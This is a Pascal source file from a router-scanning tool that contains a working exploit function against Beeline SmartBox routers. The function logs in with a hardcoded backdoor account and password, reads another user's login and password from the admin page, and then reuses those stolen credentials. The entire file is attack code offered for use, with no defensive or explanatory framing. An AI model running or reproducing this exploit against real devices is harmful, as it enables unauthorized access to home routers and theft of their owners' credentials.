// Router Scan exploit
// Copyright (C) Stas'M Corp. 2014

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_SmartBox(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  NewUser, NewPass: String;
  SList: TStringList;

  function DoLogin(Usr, Psw: String): Boolean;
  begin
    Result := False;
    SList := TStringList.Create;
    SList.Add('login_name=');
    SList.Add('login_pwd=');
    SList.Add('time=' + IntToStr(GetTickCount div 1000));
    SList.Add('un=' + EncodeBase64(Usr));
    SList.Add('pw=' + EncodeBase64(Psw));
    SList.Add('todo=auth');
    SList.Add('this_file=quick_auth.htm');
    SList.Add('next_file=quick_menu.htm');
    if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/setup.cgi',
    SList, S, Code, 8, 0, ServerName, False, '', '') then
      if Pos('quick_auth', S)=0 then
        Result := True;
    SList.Free;
  end;
  procedure DoLogout;
  begin
    SList := TStringList.Create;
    SList.Add('todo=logout');
    SList.Add('this_file=quick_menu.htm');
    SList.Add('next_file=quick_menu.htm');
    PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/setup.cgi',
    SList, S, Code, 8, 0, ServerName, False, '', '');
    SList.Free;
  end;
begin
  Result := False;
  if AuthOk and (AuthUser = 'admin') then
    Exit;

  if AuthOk then
    DoLogout;

  if not DoLogin('SuperUser', 'Beeline$martB0x') then begin
    DoLogin(AuthUser, AuthPass);
    Exit;
  end;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/mgt_admin_user.htm?name=Manage%20User&user=3',
  S, Code, 8, 0, ServerName, False, '', '') then
    if Pos('name="login_name" value="', S)>0 then begin
      NewUser := DeleteBetween(S, 'name="login_name" value="', '" ');
      NewPass := DeleteBetween(S, 'name="password" value="', '" ');
    end;

  DoLogout;
  if (NewUser <> '') or (NewPass <> '') then
    if DoLogin(NewUser, NewPass) then begin
      Result := True;
      AuthUser := NewUser;
      AuthPass := NewPass;
      SetTableCell(stcAuth, UserPassStr(AuthUser, AuthPass));
      Exit;
    end;
  DoLogin(AuthUser, AuthPass);
end;
